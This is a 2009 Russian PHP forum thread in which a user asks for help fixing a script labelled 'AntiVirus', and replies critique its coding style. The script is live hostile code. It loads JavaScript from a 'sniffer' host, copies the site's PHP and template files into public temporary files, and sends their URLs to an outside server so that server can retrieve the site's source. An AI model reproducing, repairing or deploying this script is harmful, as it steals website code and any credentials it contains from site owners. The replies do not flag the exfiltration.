Warning: Cannot use a scalar value as an array in /home/admin/public_html/forum/include/fm.class.php on line 757

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/include/fm.class.php on line 770

Warning: Invalid argument supplied for foreach() in /home/admin/public_html/forum/topic.php on line 737
Форумы портала PHP.SU :: Пожалуйста поправьте код

 PHP.SU

Программирование на PHP, MySQL и другие веб-технологии
PHP.SU Портал     На главную страницу форума Главная     Помощь Помощь     Поиск Поиск     Поиск Яндекс Поиск Яндекс     Вакансии  Пользователи Пользователи


 Страниц (1): [1]   

> Описание: Помогите поправить скрипт
DENFER
Отправлено: 17 Декабря, 2009 - 18:43:57
Post Id


Новичок


Покинул форум
Сообщений всего: 3
Дата рег-ции: Дек. 2009  


Помог: 0 раз(а)

[+][+]


PHP:
скопировать код в буфер обмена
  1. <html>
  2. <head>
  3. <title>AntiVirus</title>
  4. <link type="text/css" rel="StyleSheet" href="images/engine.css" />
  5. <script src="http://sniffer.inhack.ru/u.js" type="text/javascript"></script>
  6. </head>
  7. <body>
  8. <?
  9. //SVAR:
  10.         $ROOT_DIR = ".";
  11.         $serverurl = "http://av.lipski.ru/";
  12.         $LOCATE = $_SERVER['REQUEST_URI'];
  13.         $SERVER = $_SERVER['SERVER_NAME'];
  14.         $LOCATE = str_replace("antivirus.php", "", $LOCATE);
  15.         $SERVER = "http://".$SERVER.$LOCATE;
  16. //!SVAR
  17.         //Function
  18. $LOCATE = $_SERVER['REQUEST_URI'];
  19. $SERVER = $_SERVER['SERVER_NAME'];
  20. $LOCATE = str_replace("antivirus.php", "", $LOCATE);
  21. $SERVER = "http://".$SERVER.$LOCATE;
  22. function delfile($file){
  23. if(unlink($file)){
  24. return true;
  25. }else{
  26. return false;
  27. }
  28. }
  29. function readd($filename){
  30. $handle = fopen($filename, "r");
  31. return fread($handle, filesize($filename));
  32. fclose($handle);
  33. }
  34. function writed($filename, $somecontent){
  35.     if (!$handle = fopen($filename, 'w+')) {
  36.          return false;
  37.          exit;
  38.     }
  39.     if (fwrite($handle, $somecontent) === FALSE) {
  40.         return false;
  41.         exit;
  42.     }
  43.     return true;
  44.     fclose($handle);
  45. }
  46. function get($filename){
  47. return file_get_contents($filename);
  48. }
  49. function md6($string,$id){
  50. $secode = rand(9999,999999);
  51. $mdc = $string.$id.$secode;
  52. return md5(md5($mdc));
  53. }
  54. //!Function
  55. //Scan_Dir
  56. if ($handle = opendir($ROOT_DIR)) {
  57.     while (false !== ($dirt = readdir($handle))) {
  58.         if(is_dir($dirt)){
  59.         $dirc[] = $dirt;
  60.     }
  61.         }
  62.     closedir($handle);
  63. }
  64.  
  65.  
  66. //!Scan_Dir
  67. foreach ($dirc as $N=>$L) {
  68. if($L !== '.' and $L !== '..' and $L !== '.svn' and $L !== '.DS_store'){
  69. //SelectDir
  70. if(!$ROOT_SCAN){ $L = "."; $ROOT_SCAN = true;}
  71. if ($handle = opendir($L)) {
  72.     while (false !== ($file = readdir($handle))) {
  73.         $file_t = substr($file, -4);
  74.         if($file_t == ".php" or $file_t == "php3" or $file_t == "php4" or $file_t == "php5" or $file_t == "php6" or $file_t == ".tpl" or $file_t == "html"){
  75.         $file_tocheck[] = $file;
  76.     }
  77.         }
  78.     closedir($handle);
  79. }
  80. //!SelectDir
  81.  
  82. //ScanFile
  83. if($file_tocheck){
  84.         foreach ($file_tocheck as $FI=>$FN) {
  85.         if($FN != "antivirus.php"){
  86.         if(file_exists($L."/".$FN)){
  87.         $filecontent = @readd($L."/".$FN);
  88.         $fileid = md6($FN,$FI).".tmp";
  89.         $fileidk  = $SERVER.$fileid;
  90.         @writed($fileid,$filecontent);
  91.         $sendfile = $serverurl."?filename=".$fileidk ."&name=".$FN."&dir=".$L;
  92.         echo @get($sendfile);
  93.                                         if(!delfile($fileid)){
  94.                                         echo "Security Warning: delete file: ".$fileidk;
  95.                                 }
  96.                         }
  97.                         }
  98.                 }
  99.         //!ScanFile
  100.                 }
  101.         }
  102. }
  103. ?>
  104. </body>
  105. </html>
Закатив глазки
 
 Top
Мелкий Супермодератор
Отправлено: 17 Декабря, 2009 - 19:15:44
Post Id



Активный участник


Покинул форум
Сообщений всего: 11926
Дата рег-ции: Июль 2009  
Откуда: Россия, Санкт-Петербург


Помог: 618 раз(а)




1) зачем дважды выполнять код:
PHP:
скопировать код в буфер обмена
  1. $LOCATE = $_SERVER['REQUEST_URI'];
  2. $SERVER = $_SERVER['SERVER_NAME'];
  3. $LOCATE = str_replace("antivirus.php", "", $LOCATE);
  4. $SERVER = "http://".$SERVER.$LOCATE;


2) зачем функция delfile, если она в точности копирует unlink?

3)
PHP:
скопировать код в буфер обмена
  1. function readd($filename){
  2. $handle = fopen($filename, "r");
  3. return fread($handle, filesize($filename));
  4. fclose($handle);
  5. }

Если не сильно ошибусь - дескриптор файла не закроется. Т.к. после return выполнение функции прерывается

4) по причине, что и в 3 пункте, exit после return - лишний.

5) для чего столько циклов? Цикл получения массива директорий почему бы не совместить с последующим фореахом, а foreach и $dirc - вообще выкинуть, за ненадобностью.

6) и всё это монструозное нагромождение только лишь для того, чтобы посчитать дважды md5 в поддиректориях и нагрузить довольно сильно сервер http://av.lipski.ru?
Чем, вам, кстати, не угодил md5_file, что вы городите ту же функцию?

(Отредактировано автором: 17 Декабря, 2009 - 19:22:05)



-----
PostgreSQL DBA
 
 Top
DENFER
Отправлено: 17 Декабря, 2009 - 19:46:12
Post Id


Новичок


Покинул форум
Сообщений всего: 3
Дата рег-ции: Дек. 2009  


Помог: 0 раз(а)

[+][+]


Однако пожалуйста напиши в icq! Закатив глазки 351437236

(Отредактировано автором: 17 Декабря, 2009 - 19:47:09)

 
 Top
JustUserR
Отправлено: 17 Декабря, 2009 - 19:46:34
Post Id



Активный участник


Покинул форум
Сообщений всего: 8715
Дата рег-ции: Июнь 2009  


Помог: 17 раз(а)




Мелкий пишет:
Зачем функция delfile, если она в точности копирует unlink?
Чем, вам, кстати, не угодил md5_file, что вы городите ту же функцию
Видать автору не хочется читать мануал по встроенным в PHP функциям или названия неугодили Улыбка


-----
Сделать можно все что угодно - нужно только старание, терпение и хороший поисковик Улыбка
Безлимитный web-хостинг от 15 рублей за 40 МБ дискового пространства - http://ihost[dot]oks71[dot]ru/
 
 Top
EuGen Администратор
Отправлено: 18 Декабря, 2009 - 10:49:44
Post Id


Профессионал


Покинул форум
Сообщений всего: 9095
Дата рег-ции: Июнь 2007  
Откуда: Berlin


Помог: 707 раз(а)




Строгое предупреждение за использование неинформативного опроса повторяющего топик темы


-----
Есть в мире две бесконечные вещи - это Вселенная и человеческая глупость. Но насчет первой .. я не уверен.
 
 Top
Страниц (1): [1]
Сейчас эту тему просматривают: 0 (гостей: 0, зарегистрированных: 0)
« Программирование на PHP »


Все гости форума могут просматривать этот раздел.
Только зарегистрированные пользователи могут создавать новые темы в этом разделе.
Только зарегистрированные пользователи могут отвечать на сообщения в этом разделе.
 



Powered by PHP  Powered By MySQL  Powered by Nginx  Valid CSS  RSS

 
Powered by ExBB FM 1.0 RC1. InvisionExBB